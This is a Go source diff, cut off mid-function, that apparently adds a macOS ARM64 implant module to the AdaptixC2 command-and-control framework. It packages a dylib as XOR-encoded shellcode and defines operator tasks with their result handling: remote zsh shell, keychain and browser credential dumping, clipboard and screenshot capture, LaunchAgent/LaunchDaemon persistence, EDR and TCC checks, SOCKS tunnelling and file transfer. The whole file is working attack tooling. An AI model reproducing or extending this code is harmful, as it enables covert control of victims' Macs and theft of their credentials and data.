+ stripAndSign := fmt.Sprintf("PATH=/usr/lib/llvm-18/bin:/opt/osxcross/bin:$PATH; "+
+ "if command -v ldid >/dev/null 2>&1; then "+
+ "aarch64-apple-darwin23.5-strip %s 2>/dev/null; ldid -S %s; "+
+ "fi", dylibPath, dylibPath)
+ _ = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", stripAndSign)
+
+ // ── Step 5: Read dylib bytes ──
+ dylibBytes, err := os.ReadFile(dylibPath)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("read dylib: %w", err)
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Dylib size: %d bytes", len(dylibBytes)))
+
+ // ── Step 6: XOR encode with ARM64 decoder stub ──
+ shellcode, err := xorEncodeShellcodeARM64(dylibBytes)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", fmt.Errorf("xor encode: %w", err)
+ }
+
+ _ = os.RemoveAll(tempDir)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (dylib %d + stub overhead)", len(shellcode), len(dylibBytes)))
+
+ return shellcode, Filename, nil
+}
+
+// parseEscapedBytes converts a Go-escaped string like "\x01\x02\xff" to raw bytes.
+func parseEscapedBytes(escaped []byte) []byte {
+ s := string(escaped)
+ var result []byte
+ for i := 0; i < len(s); {
+ if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' {
+ b, err := strconv.ParseUint(s[i+2:i+4], 16, 8)
+ if err == nil {
+ result = append(result, byte(b))
+ i += 4
+ continue
+ }
+ }
+ result = append(result, s[i])
+ i++
+ }
+ return result
+}
+
+// generateNativeConfig creates a C config.h with encrypted profile data as byte arrays.
+// agentProfiles contains Go-escaped strings (\xHH format) that we parse to raw bytes.
+func generateNativeConfig(agentProfiles [][]byte) string {
+ var sb strings.Builder
+ sb.WriteString("// Auto-generated — per-payload config\n")
+ sb.WriteString("// Do not edit. Regenerated on each build.\n")
+ sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n")
+ sb.WriteString("#include \n\n")
+ sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles)))
+
+ for i, escapedProf := range agentProfiles {
+ rawProf := parseEscapedBytes(escapedProf)
+ // Write profile as C byte array
+ sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i))
+ for j := 0; j < len(rawProf); j++ {
+ if j > 0 && j%16 == 0 {
+ sb.WriteString("\n ")
+ }
+ sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j]))
+ if j < len(rawProf)-1 {
+ sb.WriteString(", ")
+ }
+ }
+ sb.WriteString("\n};\n")
+ sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf)))
+ }
+
+ // Arrays for iteration
+ sb.WriteString("static const uint8_t* enc_profiles[] = {\n")
+ for i := range agentProfiles {
+ sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i))
+ }
+ sb.WriteString("};\n\n")
+
+ sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n")
+ for i := range agentProfiles {
+ sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i))
+ }
+ sb.WriteString("};\n\n")
+
+ sb.WriteString("#endif // CONFIG_H\n")
+ return sb.String()
+}
+
+func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) {
+ var agentData adaptix.AgentData
+
+ var sessionInfo SessionInfo
+ err := msgpack.Unmarshal(beat, &sessionInfo)
+ if err != nil {
+ return adaptix.AgentData{}, nil, err
+ }
+
+ agentData.ACP = int(sessionInfo.Acp)
+ agentData.OemCP = int(sessionInfo.Oem)
+ agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID)
+ agentData.Tid = ""
+ agentData.Arch = "arm64"
+ agentData.Elevated = sessionInfo.Elevated
+ agentData.InternalIP = sessionInfo.Ipaddr
+
+ // macOS agent always reports as darwin
+ if sessionInfo.Os == "darwin" {
+ agentData.Os = adaptix.OS_MAC
+ agentData.OsDesc = sessionInfo.OSVersion
+ } else {
+ agentData.Os = adaptix.OS_UNKNOWN
+ return agentData, nil, errors.New("macOS agent received non-darwin OS")
+ }
+
+ agentData.SessionKey = sessionInfo.EncryptKey
+ agentData.Domain = ""
+ agentData.Computer = sessionInfo.Host
+ agentData.Username = sessionInfo.User
+ agentData.Process = sessionInfo.Process
+
+ // TCP agent uses persistent connection — "sleep" is the reconnect timeout
+ agentData.Sleep = 0 // real-time (persistent TCP)
+ agentData.Jitter = 0
+
+ return agentData, &ExtenderAgent{}, nil
+}
+
+/// AGENT HANDLER
+
+func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonce := make([]byte, gcm.NonceSize())
+ _, err = io.ReadFull(rand.Reader, nonce)
+ if err != nil {
+ return nil, err
+ }
+ ciphertext := gcm.Seal(nonce, nonce, data, nil)
+
+ return ciphertext, nil
+}
+
+func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(data) < nonceSize {
+ return nil, fmt.Errorf("ciphertext too short")
+ }
+
+ nonce, ciphertext := data[:nonceSize], data[nonceSize:]
+
+ plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
+ if err != nil {
+ return nil, err
+ }
+
+ return plaintext, nil
+}
+
+func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) {
+ var packData []byte
+
+ var objects [][]byte
+ var command Command
+
+ for _, taskData := range tasks {
+ taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64)
+ if err != nil {
+ return nil, err
+ }
+
+ _ = msgpack.Unmarshal(taskData.Data, &command)
+ command.Id = uint(taskId)
+
+ cmd, _ := msgpack.Marshal(command)
+
+ objects = append(objects, cmd)
+ }
+
+ message := Message{
+ Type: 1,
+ Object: objects,
+ }
+
+ packData, _ = msgpack.Marshal(message)
+
+ return packData, nil
+}
+
+func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) {
+ var (
+ packData []byte
+ err error = nil
+ )
+
+ err = errors.New("Function Pivot not packed")
+
+ taskData := adaptix.TaskData{
+ TaskId: fmt.Sprintf("%08x", mrand.Uint32()),
+ Type: adaptix.TASK_TYPE_PROXY_DATA,
+ Data: packData,
+ Sync: false,
+ }
+
+ return taskData, err
+}
+
+func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
+ var (
+ taskData adaptix.TaskData
+ messageData adaptix.ConsoleMessageData
+ err error
+ )
+
+ command, ok := args["command"].(string)
+ if !ok {
+ return taskData, messageData, errors.New("'command' must be set")
+ }
+ subcommand, _ := args["subcommand"].(string)
+
+ taskData = adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_TASK,
+ Sync: true,
+ }
+
+ messageData = adaptix.ConsoleMessageData{
+ Status: adaptix.MESSAGE_INFO,
+ Text: "",
+ }
+ messageData.Message, _ = args["message"].(string)
+
+ var cmd Command
+
+ switch command {
+
+ case "cat":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsCat{Path: path})
+ cmd = Command{Code: COMMAND_CAT, Data: packerData}
+
+ case "cd":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsCd{Path: path})
+ cmd = Command{Code: COMMAND_CD, Data: packerData}
+
+ case "cp":
+ src, err := getStringArg(args, "src")
+ if err != nil {
+ goto RET
+ }
+ dst, err := getStringArg(args, "dst")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst})
+ cmd = Command{Code: COMMAND_CP, Data: packerData}
+
+ case "download":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+
+ r := make([]byte, 4)
+ _, _ = rand.Read(r)
+ taskId := binary.BigEndian.Uint32(r)
+
+ taskData.TaskId = fmt.Sprintf("%08x", taskId)
+
+ packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId})
+ cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData}
+
+ case "exit":
+ cmd = Command{Code: COMMAND_EXIT, Data: nil}
+
+ case "job":
+ if subcommand == "list" {
+ cmd = Command{Code: COMMAND_JOB_LIST, Data: nil}
+
+ } else if subcommand == "kill" {
+ jobId, err := getStringArg(args, "task_id")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId})
+ cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData}
+
+ } else {
+ err = errors.New("subcommand must be 'list' or 'kill'")
+ goto RET
+ }
+
+ case "kill":
+ pid, err := getFloatArg(args, "pid")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)})
+ cmd = Command{Code: COMMAND_KILL, Data: packerData}
+
+ case "ls":
+ dir, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsLs{Path: dir})
+ cmd = Command{Code: COMMAND_LS, Data: packerData}
+
+ case "mv":
+ src, err := getStringArg(args, "src")
+ if err != nil {
+ goto RET
+ }
+ dst, err := getStringArg(args, "dst")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst})
+ cmd = Command{Code: COMMAND_MV, Data: packerData}
+
+ case "mkdir":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path})
+ cmd = Command{Code: COMMAND_MKDIR, Data: packerData}
+
+ case "ps":
+ cmd = Command{Code: COMMAND_PS, Data: nil}
+
+ case "pwd":
+ cmd = Command{Code: COMMAND_PWD, Data: nil}
+
+ case "rm":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsRm{Path: path})
+ cmd = Command{Code: COMMAND_RM, Data: packerData}
+
+ case "run":
+ taskData.Type = adaptix.TASK_TYPE_JOB
+
+ prog, err := getStringArg(args, "program")
+ if err != nil {
+ goto RET
+ }
+ runArgs, _ := args["args"].(string)
+
+ r := make([]byte, 4)
+ _, _ = rand.Read(r)
+ taskId := binary.BigEndian.Uint32(r)
+
+ taskData.TaskId = fmt.Sprintf("%08x", taskId)
+
+ cmdArgs, _ := shlex.Split(runArgs)
+ packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId})
+ cmd = Command{Code: COMMAND_RUN, Data: packerData}
+
+ case "shell":
+ cmdParam, err := getStringArg(args, "cmd")
+ if err != nil {
+ goto RET
+ }
+
+ // macOS: always use /bin/zsh (default shell on macOS)
+ cmdArgs := []string{"-c", cmdParam}
+ packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/zsh", Args: cmdArgs})
+ cmd = Command{Code: COMMAND_SHELL, Data: packerData}
+
+ case "screenshot":
+ cmd = Command{Code: COMMAND_SCREENSHOT, Data: nil}
+
+ case "clipboard":
+ cmd = Command{Code: COMMAND_CLIPBOARD, Data: nil}
+
+ case "persist":
+ if subcommand == "launchagent" || subcommand == "launchdaemon" {
+ name, err := getStringArg(args, "name")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsPersist{Action: "install", Method: subcommand, Name: name})
+ cmd = Command{Code: COMMAND_PERSIST, Data: packerData}
+ } else if subcommand == "remove" {
+ method, err := getStringArg(args, "method")
+ if err != nil {
+ goto RET
+ }
+ name, err := getStringArg(args, "name")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsPersist{Action: "remove", Method: method, Name: name})
+ cmd = Command{Code: COMMAND_PERSIST, Data: packerData}
+ } else if subcommand == "status" {
+ packerData, _ := msgpack.Marshal(ParamsPersist{Action: "status"})
+ cmd = Command{Code: COMMAND_PERSIST, Data: packerData}
+ } else {
+ err = errors.New("subcommand must be 'launchagent', 'launchdaemon', 'remove', or 'status'")
+ goto RET
+ }
+
+ case "tcc_check":
+ cmd = Command{Code: COMMAND_TCC_CHECK, Data: nil}
+
+ case "defaults_read":
+ domain, _ := getStringArg(args, "domain")
+ packerData, _ := msgpack.Marshal(ParamsDefaults{Domain: domain})
+ cmd = Command{Code: COMMAND_DEFAULTS, Data: packerData}
+
+ case "edr_check":
+ cmd = Command{Code: COMMAND_EDR_CHECK, Data: nil}
+
+ case "keychain":
+ if subcommand == "list" {
+ packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "list"})
+ cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData}
+ } else if subcommand == "dump" {
+ packerData, _ := msgpack.Marshal(ParamsKeychain{Action: "dump"})
+ cmd = Command{Code: COMMAND_KEYCHAIN, Data: packerData}
+ } else {
+ err = errors.New("subcommand must be 'list' or 'dump'")
+ goto RET
+ }
+
+ case "browser_dump":
+ browser, err := getStringArg(args, "browser")
+ if err != nil {
+ goto RET
+ }
+ target, _ := getStringArg(args, "target")
+ if target == "" {
+ target = "list"
+ }
+ packerData, _ := msgpack.Marshal(ParamsBrowserDump{Browser: browser, Target: target})
+ cmd = Command{Code: COMMAND_BROWSER_DUMP, Data: packerData}
+
+ case "socks":
+ taskData.Type = adaptix.TASK_TYPE_TUNNEL
+
+ portNumber, ok := args["port"].(float64)
+ port := int(portNumber)
+ if ok {
+ if port < 1 || port > 65535 {
+ err = errors.New("port must be from 1 to 65535")
+ goto RET
+ }
+ }
+ if subcommand == "start" {
+ address, err := getStringArg(args, "address")
+ if err != nil {
+ goto RET
+ }
+
+ auth := getBoolArg(args, "-a")
+ if auth {
+ username, err := getStringArg(args, "username")
+ if err != nil {
+ goto RET
+ }
+ password, err := getStringArg(args, "password")
+ if err != nil {
+ goto RET
+ }
+
+ tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password)
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+ taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId)
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+
+ taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port)
+
+ } else {
+ tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "")
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+ taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId)
+ if err2 != nil {
+ err = err2
+ goto RET
+ }
+
+ taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port)
+ }
+ taskData.MessageType = adaptix.MESSAGE_SUCCESS
+ taskData.ClearText = "\n"
+
+ } else if subcommand == "stop" {
+ taskData.Completed = true
+
+ Ts.TsTunnelStopSocks(agentData.Id, port)
+
+ taskData.MessageType = adaptix.MESSAGE_SUCCESS
+ taskData.Message = "Socks5 server has been stopped"
+ taskData.ClearText = "\n"
+
+ } else {
+ err = errors.New("subcommand must be 'start' or 'stop'")
+ goto RET
+ }
+
+ case "upload":
+ remote_path, err := getStringArg(args, "remote_path")
+ if err != nil {
+ goto RET
+ }
+ localFile, err := getStringArg(args, "local_file")
+ if err != nil {
+ goto RET
+ }
+
+ fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile)
+ if decodeErr != nil {
+ err = decodeErr
+ goto RET
+ }
+
+ zipContent, zipErr := ZipBytes(fileContent, remote_path)
+ if zipErr != nil {
+ err = zipErr
+ goto RET
+ }
+
+ chunkSize := 0x500000 // 5Mb
+ bufferSize := len(zipContent)
+
+ inTaskData := adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_TASK,
+ AgentId: agentData.Id,
+ Sync: false,
+ }
+
+ for start := 0; start < bufferSize; start += chunkSize {
+ fin := start + chunkSize
+ finish := false
+ if fin >= bufferSize {
+ fin = bufferSize
+ finish = true
+ }
+
+ inPackerData, _ := msgpack.Marshal(ParamsUpload{
+ Path: remote_path,
+ Content: zipContent[start:fin],
+ Finish: finish,
+ })
+ inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData}
+
+ if finish {
+ cmd = inCmd
+ break
+
+ } else {
+ inTaskData.Data, _ = msgpack.Marshal(inCmd)
+ inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32())
+
+ Ts.TsTaskCreate(agentData.Id, "", "", inTaskData)
+ }
+ }
+
+ case "zip":
+ path, err := getStringArg(args, "path")
+ if err != nil {
+ goto RET
+ }
+ zip_path, err := getStringArg(args, "zip_path")
+ if err != nil {
+ goto RET
+ }
+ packerData, _ := msgpack.Marshal(ParamsZip{Src: path, Dst: zip_path})
+ cmd = Command{Code: COMMAND_ZIP, Data: packerData}
+
+ default:
+ err = errors.New(fmt.Sprintf("Command '%v' not found", command))
+ goto RET
+ }
+
+ taskData.Data, _ = msgpack.Marshal(cmd)
+
+RET:
+ return taskData, messageData, err
+}
+
+func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error {
+ var outTasks []adaptix.TaskData
+
+ taskData := adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_TASK,
+ AgentId: agentData.Id,
+ FinishDate: time.Now().Unix(),
+ MessageType: adaptix.MESSAGE_SUCCESS,
+ Completed: true,
+ Sync: true,
+ }
+
+ var (
+ inMessage Message
+ cmd Command
+ job Job
+ )
+
+ err := msgpack.Unmarshal(decryptedData, &inMessage)
+ if err != nil {
+ return errors.New("failed to unmarshal message")
+ }
+
+ if inMessage.Type == 1 {
+
+ for _, cmdBytes := range inMessage.Object {
+ err = msgpack.Unmarshal(cmdBytes, &cmd)
+ if err != nil {
+ continue
+ }
+
+ TaskId := cmd.Id
+ commandId := cmd.Code
+ task := taskData
+ task.TaskId = fmt.Sprintf("%08x", TaskId)
+
+ switch commandId {
+
+ case COMMAND_CAT:
+ var params AnsCat
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = fmt.Sprintf("'%v' file content:", params.Path)
+ task.ClearText = string(params.Content)
+
+ case COMMAND_CD:
+ var params AnsPwd
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Current working directory:"
+ task.ClearText = params.Path
+
+ case COMMAND_CP:
+ task.Message = "Object copied successfully"
+
+ case COMMAND_PWD:
+ var params AnsPwd
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Current working directory:"
+ task.ClearText = params.Path
+
+ case COMMAND_KILL:
+ task.Message = "Process killed"
+
+ case COMMAND_EXIT:
+ task.Message = "The agent has completed its work (kill process)"
+ _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId)
+
+ case COMMAND_JOB_LIST:
+ var params AnsJobList
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ var jobList []JobInfo
+ err = msgpack.Unmarshal(params.List, &jobList)
+ if err != nil {
+ continue
+ }
+
+ Output := ""
+ if len(jobList) > 0 {
+ Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type")
+ Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------")
+
+ for _, value := range jobList {
+ stringType := "Unknown"
+ if value.JobType == 0x2 {
+ stringType = "Download"
+ } else if value.JobType == 0x3 {
+ stringType = "Process"
+ }
+
+ Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType)
+ }
+
+ task.Message = "Job list:"
+ task.ClearText = Output
+ } else {
+ task.Message = "No active jobs"
+ }
+
+ case COMMAND_JOB_KILL:
+ task.Message = "Job killed"
+
+ case COMMAND_LS:
+ var params AnsLs
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ // macOS agent: always Unix-style listing
+ var items []adaptix.ListingFileDataUnix
+
+ if !params.Result {
+ task.Message = params.Status
+ task.MessageType = adaptix.MESSAGE_ERROR
+ } else {
+ var Files []FileInfo
+ err := msgpack.Unmarshal(params.Files, &Files)
+ if err != nil {
+ continue
+ }
+
+ filesCount := len(Files)
+ if filesCount == 0 {
+ task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path)
+ } else {
+
+ modeFsize := 1
+ lnkFsize := 1
+ userFsize := 1
+ groupFsize := 1
+ sizeFsize := 1
+ dateFsize := 1
+
+ for _, f := range Files {
+ val := fmt.Sprintf("%d", f.Nlink)
+ if len(val) > lnkFsize {
+ lnkFsize = len(val)
+ }
+ val = fmt.Sprintf("%d", f.Size)
+ if len(val) > sizeFsize {
+ sizeFsize = len(val)
+ }
+ if len(f.Mode) > modeFsize {
+ modeFsize = len(f.Mode)
+ }
+ if len(f.User) > userFsize {
+ userFsize = len(f.User)
+ }
+ if len(f.Group) > groupFsize {
+ groupFsize = len(f.Group)
+ }
+ if len(f.Date) > dateFsize {
+ dateFsize = len(f.Date)
+ }
+ }
+
+ format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize)
+ OutputText := ""
+ for _, fi := range Files {
+ OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename)
+
+ fileData := adaptix.ListingFileDataUnix{
+ IsDir: fi.IsDir,
+ Mode: fi.Mode,
+ User: fi.User,
+ Group: fi.Group,
+ Size: fi.Size,
+ Date: fi.Date,
+ Filename: fi.Filename,
+ }
+
+ items = append(items, fileData)
+ }
+
+ task.Message = fmt.Sprintf("Listing '%s'", params.Path)
+ task.ClearText = OutputText
+ }
+ }
+ Ts.TsClientGuiFilesUnix(task, params.Path, items)
+
+ case COMMAND_MKDIR:
+ task.Message = "Directory created successfully"
+
+ case COMMAND_MV:
+ task.Message = "Object moved successfully"
+
+ case COMMAND_PS:
+ var params AnsPs
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ // macOS agent: always Unix-style process listing
+ var proclist []adaptix.ListingProcessDataUnix
+
+ if !params.Result {
+ task.Message = params.Status
+ task.MessageType = adaptix.MESSAGE_ERROR
+ } else {
+ var Processes []PsInfo
+ err := msgpack.Unmarshal(params.Processes, &Processes)
+ if err != nil {
+ continue
+ }
+
+ procCount := len(Processes)
+ if procCount == 0 {
+ task.Message = "Failed to get process list"
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ } else {
+ pidFsize := 3
+ ppidFsize := 4
+ ttyFsize := 3
+ contextFsize := 7
+ processFsize := 7
+
+ for _, p := range Processes {
+ val := fmt.Sprintf("%d", p.Pid)
+ if len(val) > pidFsize {
+ pidFsize = len(val)
+ }
+ val = fmt.Sprintf("%d", p.Ppid)
+ if len(val) > ppidFsize {
+ ppidFsize = len(val)
+ }
+ if len(p.Tty) > ttyFsize {
+ ttyFsize = len(p.Tty)
+ }
+ if len(p.Context) > contextFsize {
+ contextFsize = len(p.Context)
+ }
+ if len(p.Process) > processFsize {
+ processFsize = len(p.Process)
+ }
+
+ procData := adaptix.ListingProcessDataUnix{
+ Pid: uint(p.Pid),
+ Ppid: uint(p.Ppid),
+ TTY: p.Tty,
+ Context: p.Context,
+ ProcessName: p.Process,
+ }
+
+ proclist = append(proclist, procData)
+ }
+
+ format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize)
+ OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process")
+ OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------")
+
+ for _, p := range Processes {
+ OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process)
+ }
+
+ task.Message = "Process list:"
+ task.ClearText = OutputText
+ }
+ }
+ Ts.TsClientGuiProcessUnix(task, proclist)
+
+ case COMMAND_RM:
+ task.Message = "Object removed successfully"
+
+ case COMMAND_SCREENSHOT:
+ // Check for error response first
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Screenshot error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+
+ var params AnsScreenshots
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ for _, screen := range params.Screens {
+ _ = Ts.TsScreenshotAdd(agentData.Id, "screenshot", screen)
+ }
+ task.Message = fmt.Sprintf("Screenshots taken: %d", len(params.Screens))
+
+ case COMMAND_SHELL:
+ // Check for error response first
+ var errResp AnsError
+ if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" {
+ task.Message = "Shell error:"
+ task.ClearText = errResp.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+ break
+ }
+
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Shell command output:"
+ task.ClearText = params.Output
+
+ case COMMAND_CLIPBOARD:
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Clipboard contents:"
+ task.ClearText = params.Output
+
+ case COMMAND_PERSIST:
+ var params AnsPersist
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Persistence:"
+ task.ClearText = params.Output
+
+ case COMMAND_TCC_CHECK:
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "TCC Permissions:"
+ task.ClearText = params.Output
+
+ case COMMAND_DEFAULTS:
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Defaults output:"
+ task.ClearText = params.Output
+
+ case COMMAND_EDR_CHECK:
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "EDR/Security scan:"
+ task.ClearText = params.Output
+
+ case COMMAND_KEYCHAIN:
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Keychain:"
+ task.ClearText = params.Output
+
+ case COMMAND_BROWSER_DUMP:
+ var params AnsShell
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Browser data:"
+ task.ClearText = params.Output
+
+ case COMMAND_UPLOAD:
+ var params AnsUpload
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = fmt.Sprintf("File uploaded: %s", params.Path)
+
+ case COMMAND_ZIP:
+ var params AnsZip
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = fmt.Sprintf("Archive created: %s", params.Path)
+
+ case COMMAND_ERROR:
+ var params AnsError
+ err := msgpack.Unmarshal(cmd.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+ task.Message = "Error:"
+ task.ClearText = params.Error
+ task.MessageType = adaptix.MESSAGE_ERROR
+
+ case COMMAND_DOWNLOAD:
+ task.Message = "Download started"
+ task.Completed = false
+
+ case COMMAND_RUN:
+ task.Message = "Process started (async)"
+ task.Completed = false
+
+ case COMMAND_TUNNEL_START:
+ task.Message = "Tunnel starting"
+ task.Completed = false
+
+ case COMMAND_TUNNEL_STOP:
+ task.Message = "Tunnel stopped"
+
+ case COMMAND_TUNNEL_PAUSE:
+ task.Message = "Tunnel paused"
+
+ case COMMAND_TUNNEL_RESUME:
+ task.Message = "Tunnel resumed"
+
+ case COMMAND_TERMINAL_START:
+ task.Message = "Terminal starting"
+ task.Completed = false
+
+ case COMMAND_TERMINAL_STOP:
+ task.Message = "Terminal stopped"
+
+ default:
+ task.Message = "Unknown response"
+ task.MessageType = adaptix.MESSAGE_ERROR
+ }
+
+ outTasks = append(outTasks, task)
+ }
+
+ } else if inMessage.Type == 2 {
+
+ for _, jobBytes := range inMessage.Object {
+
+ err = msgpack.Unmarshal(jobBytes, &job)
+ if err != nil {
+ continue
+ }
+
+ commandId := job.CommandId
+
+ switch commandId {
+
+ case COMMAND_DOWNLOAD:
+ var params AnsDownload
+ err := msgpack.Unmarshal(job.Data, ¶ms)
+ if err != nil {
+ continue
+ }
+
+ fileId := fmt.Sprintf("%08x", params.FileId)
+
+ if params.Start {
+ _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size))
+ }
+
+ _ = Ts.TsDownloadUpdate(fileId, 1, params.Content)
+
+ if params.Finish {
+ if params.Canceled {
+ _ = Ts.TsDownloadClose(fileId, 4)
+ } else {
+ _ = Ts.TsDownloadClose(fileId, 3)
+ }
+ }
+
+ case COMMAND_RUN:
+ var params AnsRun
+ err := msgpack.Unmarshal(job.Data, ¶ms)
